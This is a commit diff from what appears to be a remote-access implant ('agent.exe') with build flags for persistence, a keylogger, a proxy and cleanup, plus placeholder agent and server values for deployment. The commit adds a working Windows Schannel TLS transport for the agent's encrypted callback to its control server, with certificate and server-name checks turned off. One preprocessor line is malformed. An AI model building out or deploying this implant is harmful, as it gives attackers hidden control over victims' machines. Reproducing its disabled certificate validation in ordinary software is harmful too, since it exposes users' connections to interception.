Windows Schannel transport and prototype of https listener
This commit is contained in:
@@ -11,7 +11,8 @@ EXEC = $(BIN_DIR)/agent.exe
|
||||
CFLAGS = -flto -Os -DTESTING_BUILD
|
||||
|
||||
# Define feature flags
|
||||
USE_WOLFSSL = TRUE
|
||||
USE_SCHANNEL = FALSE
|
||||
USE_WOLFSSL = FALSE
|
||||
ENABLE_PROXY = FALSE
|
||||
ENABLE_PERSISTENCE = FALSE
|
||||
ENABLE_KEYLOGGER = FALSE
|
||||
@@ -44,14 +45,17 @@ else
|
||||
CFLAGS += -DENABLE_KEYLOGGER=FALSE
|
||||
endif
|
||||
|
||||
# Add transport implementation based on USE_WOLFSSL
|
||||
ifeq ($(USE_WOLFSSL),TRUE)
|
||||
# Add transport implementation based on USE_SCHANNEL or USE_WOLFSSL
|
||||
ifeq ($(USE_SCHANNEL),TRUE)
|
||||
CFLAGS += -DUSE_SCHANNEL=TRUE
|
||||
LDFLAGS += -lsecur32
|
||||
SRC_FILES += transport_schannel.c
|
||||
else ifeq ($(USE_WOLFSSL),TRUE)
|
||||
CFLAGS += -DUSE_WOLFSSL=TRUE
|
||||
LDFLAGS += -L./lib/wolfssl-compiled/lib -lwolfssl -lcrypt32
|
||||
INCLUDE_DIR += -I./lib/wolfssl-compiled/include
|
||||
SRC_FILES += transport_wolfssl.c
|
||||
else
|
||||
CFLAGS += -DUSE_WOLFSSL=FALSE
|
||||
SRC_FILES += transport_tcp.c
|
||||
endif
|
||||
|
||||
@@ -97,6 +101,7 @@ run: $(EXEC)
|
||||
# Show current configuration
|
||||
info:
|
||||
@echo "Build configuration:"
|
||||
@echo " USE_SCHANNEL: $(USE_SCHANNEL)"
|
||||
@echo " USE_WOLFSSL: $(USE_WOLFSSL)"
|
||||
@echo " ENABLE_PROXY: $(ENABLE_PROXY)"
|
||||
@echo " ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)"
|
||||
@@ -104,6 +109,8 @@ info:
|
||||
@echo " Testing build: $(filter -DTESTING_BUILD,$(CFLAGS))"
|
||||
@echo " Source files: $(notdir $(SOURCES))"
|
||||
@echo " CFLAGS: $(CFLAGS)"
|
||||
@echo " LDFLAGS: $(LDFLAGS)"
|
||||
@echo " INCLUDE_DIR: $(INCLUDE_DIR)"
|
||||
|
||||
install:
|
||||
@echo "Install target not implemented."
|
||||
|
||||
@@ -19,8 +19,16 @@ LARGE_INTEGER start, end, freq;
|
||||
#if TESTING_BUILD
|
||||
char agentID[] = "Agent";
|
||||
char* serverDomains[] = {"192.168.1.4"};
|
||||
unsigned short int SERVER_PORT = 8443;
|
||||
int startupDelay = 0;
|
||||
|
||||
#if USE_SCHANNEL
|
||||
unsigned short int SERVER_PORT = 8443;
|
||||
#elif #ifUSE_WOLFSSL
|
||||
unsigned short int SERVER_PORT = 8443;
|
||||
#else
|
||||
unsigned short int SERVER_PORT = 8888;
|
||||
#endif
|
||||
|
||||
#else
|
||||
char agentID[] = "PLACEHOLDER_AGENT_ID";
|
||||
char* serverDomains[] = {"PLACEHOLDER_SERVER_ADDR"};
|
||||
|
||||
@@ -8,6 +8,10 @@
|
||||
#define USE_WOLFSSL FALSE
|
||||
#endif
|
||||
|
||||
#ifndef USE_SCHANNEL
|
||||
#define USE_SCHANNEL FALSE
|
||||
#endif
|
||||
|
||||
// Modules
|
||||
#ifndef ENABLE_PERSISTENCE
|
||||
#define ENABLE_PERSISTENCE FALSE
|
||||
@@ -40,7 +44,6 @@
|
||||
#define CLEANUP_METHOD FALSE
|
||||
#endif
|
||||
|
||||
|
||||
// For builds with make
|
||||
#ifndef TESTING_BUILD
|
||||
#define TESTING_BUILD FALSE
|
||||
|
||||
@@ -3,15 +3,15 @@
|
||||
#include "config.h"
|
||||
#include "transport.h"
|
||||
|
||||
#if USE_WOLFSSL
|
||||
extern Transport* InitWolfSSLTransport(const char* domain, unsigned short port);
|
||||
#else
|
||||
extern Transport* InitTCPTransport(const char* domain, unsigned short port);
|
||||
#ifndef SNI_HOSTNAME
|
||||
#define SNI_HOSTNAME "myserver.local" // Default SNI hostname; override in config.h if needed
|
||||
#endif
|
||||
|
||||
Transport* InitTransport(const char* domain, unsigned short port) {
|
||||
printf("Next host: %s on port %d\n", domain, port);
|
||||
#if USE_WOLFSSL
|
||||
#if USE_SCHANNEL
|
||||
return InitSchannelTransport(domain, port, SNI_HOSTNAME);
|
||||
#elif USE_WOLFSSL
|
||||
return InitWolfSSLTransport(domain, port);
|
||||
#else
|
||||
return InitTCPTransport(domain, port);
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
// Transport abstraction
|
||||
typedef struct {
|
||||
void* handle; // Opaque pointer to underlying connection (WOLFSSL* or SOCKET)
|
||||
void* handle; // Opaque pointer to underlying connection (WOLFSSL* or SOCKET or Schannel context)
|
||||
int (*send) (void* handle, const char* data, size_t len);
|
||||
int (*recv) (void* handle, char* buffer, size_t len);
|
||||
void (*cleanup) (void* handle);
|
||||
@@ -15,4 +15,13 @@ Transport* InitTransport(const char* domain, unsigned short port);
|
||||
void CleanupTransport(Transport* transport);
|
||||
char* GetNextDomain();
|
||||
|
||||
#if USE_SCHANNEL
|
||||
extern Transport* InitSchannelTransport(const char* domain, unsigned short port, const char* sni_hostname);
|
||||
#endif
|
||||
#if USE_WOLFSSL
|
||||
extern Transport* InitWolfSSLTransport(const char* domain, unsigned short port);
|
||||
#else
|
||||
extern Transport* InitTCPTransport(const char* domain, unsigned short port);
|
||||
#endif
|
||||
|
||||
#endif // TRANSPORT_H
|
||||
234
agent/transport_schannel.c
Normal file
234
agent/transport_schannel.c
Normal file
@@ -0,0 +1,234 @@
|
||||
#define SECURITY_WIN32
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <schannel.h>
|
||||
#include <sspi.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "transport.h"
|
||||
|
||||
#define BUFFER_SIZE 4096
|
||||
|
||||
// Structure to hold SChannel connection state
|
||||
typedef struct {
|
||||
SOCKET sock;
|
||||
CredHandle cred;
|
||||
SecHandle ctx;
|
||||
SecPkgContext_StreamSizes sizes;
|
||||
BOOL initialized;
|
||||
} SchannelHandle;
|
||||
|
||||
// Initialize SChannel and perform TLS handshake
|
||||
static BOOL init_schannel(SchannelHandle* handle, const char* domain, unsigned short port, const char* sni_hostname) {
|
||||
// Initialize Winsock
|
||||
WSADATA wsaData;
|
||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
|
||||
fprintf(stderr, "Error: WSAStartup failed: %d\n", WSAGetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Create socket
|
||||
handle->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (handle->sock == INVALID_SOCKET) {
|
||||
fprintf(stderr, "Error: Failed to create socket: %d\n", WSAGetLastError());
|
||||
WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Set up server address
|
||||
struct sockaddr_in server = { .sin_family = AF_INET, .sin_port = htons(port) };
|
||||
if (InetPtonA(AF_INET, domain, &server.sin_addr) <= 0) {
|
||||
fprintf(stderr, "Error: Failed to resolve domain %s\n", domain);
|
||||
closesocket(handle->sock);
|
||||
WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Connect
|
||||
if (connect(handle->sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
|
||||
fprintf(stderr, "Error: Failed to connect to %s:%d: %d\n", domain, port, WSAGetLastError());
|
||||
closesocket(handle->sock);
|
||||
WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Initialize Schannel credentials
|
||||
SCHANNEL_CRED schannelCred = { .dwVersion = SCHANNEL_CRED_VERSION, .grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT,
|
||||
.dwFlags = SCH_CRED_NO_SERVERNAME_CHECK | SCH_CRED_NO_DEFAULT_CREDS | SCH_CRED_MANUAL_CRED_VALIDATION };
|
||||
SECURITY_STATUS status = AcquireCredentialsHandle(NULL, UNISP_NAME, SECPKG_CRED_OUTBOUND,
|
||||
NULL, &schannelCred, NULL, NULL, &handle->cred, NULL);
|
||||
if (status != SEC_E_OK) {
|
||||
fprintf(stderr, "Error: AcquireCredentialsHandle failed: 0x%x\n", status);
|
||||
closesocket(handle->sock);
|
||||
WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Perform TLS handshake
|
||||
SecBufferDesc outBuffer, inBuffer;
|
||||
SecBuffer outBuffers[2] = { {0, SECBUFFER_TOKEN, NULL}, {0, SECBUFFER_EMPTY, NULL} };
|
||||
SecBuffer inBuffers[2] = { {BUFFER_SIZE, SECBUFFER_TOKEN, malloc(BUFFER_SIZE)}, {0, SECBUFFER_EMPTY, NULL} };
|
||||
outBuffer.cBuffers = 2; outBuffer.pBuffers = outBuffers; outBuffer.ulVersion = SECBUFFER_VERSION;
|
||||
inBuffer.cBuffers = 2; inBuffer.pBuffers = inBuffers; inBuffer.ulVersion = SECBUFFER_VERSION;
|
||||
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY |
|
||||
ISC_REQ_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM;
|
||||
BOOL first = TRUE;
|
||||
int bufferLen;
|
||||
|
||||
while (TRUE) {
|
||||
status = InitializeSecurityContext(&handle->cred, first ? NULL : &handle->ctx, sni_hostname, flags, 0, 0,
|
||||
first ? NULL : &inBuffer, 0, first ? &handle->ctx : NULL, &outBuffer, &flags, NULL);
|
||||
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) {
|
||||
if (outBuffers[0].cbBuffer && outBuffers[0].pvBuffer) {
|
||||
send(handle->sock, outBuffers[0].pvBuffer, outBuffers[0].cbBuffer, 0);
|
||||
FreeContextBuffer(outBuffers[0].pvBuffer);
|
||||
outBuffers[0].pvBuffer = NULL;
|
||||
}
|
||||
}
|
||||
if (status == SEC_E_OK) {
|
||||
break;
|
||||
}
|
||||
if (status != SEC_I_CONTINUE_NEEDED) {
|
||||
fprintf(stderr, "Error: InitializeSecurityContext failed: 0x%x\n", status);
|
||||
free(inBuffers[0].pvBuffer);
|
||||
closesocket(handle->sock);
|
||||
DeleteSecurityContext(&handle->ctx);
|
||||
FreeCredentialsHandle(&handle->cred);
|
||||
WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
bufferLen = recv(handle->sock, inBuffers[0].pvBuffer, BUFFER_SIZE, 0);
|
||||
if (bufferLen <= 0) {
|
||||
fprintf(stderr, "Error: recv failed: %d\n", WSAGetLastError());
|
||||
free(inBuffers[0].pvBuffer);
|
||||
closesocket(handle->sock);
|
||||
DeleteSecurityContext(&handle->ctx);
|
||||
FreeCredentialsHandle(&handle->cred);
|
||||
WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
inBuffers[0].cbBuffer = bufferLen;
|
||||
first = FALSE;
|
||||
}
|
||||
free(inBuffers[0].pvBuffer);
|
||||
|
||||
// Get stream sizes for encryption/decryption
|
||||
status = QueryContextAttributes(&handle->ctx, SECPKG_ATTR_STREAM_SIZES, &handle->sizes);
|
||||
if (status != SEC_E_OK) {
|
||||
fprintf(stderr, "Error: QueryContextAttributes failed: 0x%x\n", status);
|
||||
closesocket(handle->sock);
|
||||
DeleteSecurityContext(&handle->ctx);
|
||||
FreeCredentialsHandle(&handle->cred);
|
||||
WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
handle->initialized = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Send encrypted data
|
||||
static int schannel_send(void* handle, const char* data, size_t len) {
|
||||
SchannelHandle* schannel = (SchannelHandle*)handle;
|
||||
if (!schannel->initialized) return -1;
|
||||
|
||||
// Allocate buffer for encrypted data
|
||||
char* sendBuffer = (char*)malloc(schannel->sizes.cbHeader + len + schannel->sizes.cbTrailer);
|
||||
if (!sendBuffer) return -1;
|
||||
memcpy(sendBuffer + schannel->sizes.cbHeader, data, len);
|
||||
|
||||
// Set up encryption buffers
|
||||
SecBuffer encryptBuffers[4] = {
|
||||
{schannel->sizes.cbHeader, SECBUFFER_STREAM_HEADER, sendBuffer},
|
||||
{len, SECBUFFER_DATA, sendBuffer + schannel->sizes.cbHeader},
|
||||
{schannel->sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, sendBuffer + schannel->sizes.cbHeader + len},
|
||||
{0, SECBUFFER_EMPTY, NULL}
|
||||
};
|
||||
SecBufferDesc encryptDesc = { SECBUFFER_VERSION, 4, encryptBuffers };
|
||||
|
||||
// Encrypt and send
|
||||
SECURITY_STATUS status = EncryptMessage(&schannel->ctx, 0, &encryptDesc, 0);
|
||||
if (status != SEC_E_OK) {
|
||||
free(sendBuffer);
|
||||
return -1;
|
||||
}
|
||||
int totalSize = encryptBuffers[0].cbBuffer + encryptBuffers[1].cbBuffer + encryptBuffers[2].cbBuffer;
|
||||
int sent = send(schannel->sock, sendBuffer, totalSize, 0);
|
||||
free(sendBuffer);
|
||||
return sent == totalSize ? len : -1;
|
||||
}
|
||||
|
||||
// Receive and decrypt data
|
||||
static int schannel_recv(void* handle, char* buffer, size_t len) {
|
||||
SchannelHandle* schannel = (SchannelHandle*)handle;
|
||||
if (!schannel->initialized) return -1;
|
||||
|
||||
char recvBuffer[BUFFER_SIZE];
|
||||
int recvLen = recv(schannel->sock, recvBuffer, BUFFER_SIZE, 0);
|
||||
if (recvLen <= 0) return recvLen;
|
||||
|
||||
// Set up decryption buffers
|
||||
SecBuffer decryptBuffers[4] = {
|
||||
{recvLen, SECBUFFER_DATA, recvBuffer},
|
||||
{0, SECBUFFER_EMPTY, NULL},
|
||||
{0, SECBUFFER_EMPTY, NULL},
|
||||
{0, SECBUFFER_EMPTY, NULL}
|
||||
};
|
||||
SecBufferDesc decryptDesc = { SECBUFFER_VERSION, 4, decryptBuffers };
|
||||
|
||||
SECURITY_STATUS status = DecryptMessage(&schannel->ctx, &decryptDesc, 0, NULL);
|
||||
if (status != SEC_E_OK) return -1;
|
||||
|
||||
// Find and copy decrypted data
|
||||
for (int i = 0; i < 4; i++) {
|
||||
if (decryptBuffers[i].BufferType == SECBUFFER_DATA && decryptBuffers[i].cbBuffer > 0) {
|
||||
size_t copyLen = min(decryptBuffers[i].cbBuffer, len);
|
||||
memcpy(buffer, decryptBuffers[i].pvBuffer, copyLen);
|
||||
return copyLen;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Cleanup SChannel resources
|
||||
static void schannel_cleanup(void* handle) {
|
||||
SchannelHandle* schannel = (SchannelHandle*)handle;
|
||||
if (schannel->initialized) {
|
||||
DeleteSecurityContext(&schannel->ctx);
|
||||
FreeCredentialsHandle(&schannel->cred);
|
||||
if (schannel->sock != INVALID_SOCKET) {
|
||||
shutdown(schannel->sock, SD_BOTH);
|
||||
closesocket(schannel->sock);
|
||||
}
|
||||
WSACleanup();
|
||||
}
|
||||
free(schannel);
|
||||
}
|
||||
|
||||
// Initialize SChannel transport
|
||||
Transport* InitSchannelTransport(const char* domain, unsigned short port, const char* sni_hostname) {
|
||||
SchannelHandle* handle = (SchannelHandle*)calloc(1, sizeof(SchannelHandle));
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error: Failed to allocate memory for Schannel handle\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!init_schannel(handle, domain, port, sni_hostname)) {
|
||||
free(handle);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
Transport* transport = (Transport*)malloc(sizeof(Transport));
|
||||
if (!transport) {
|
||||
schannel_cleanup(handle);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
transport->handle = handle;
|
||||
transport->send = schannel_send;
|
||||
transport->recv = schannel_recv;
|
||||
transport->cleanup = schannel_cleanup;
|
||||
return transport;
|
||||
}
|
||||
Reference in New Issue
Block a user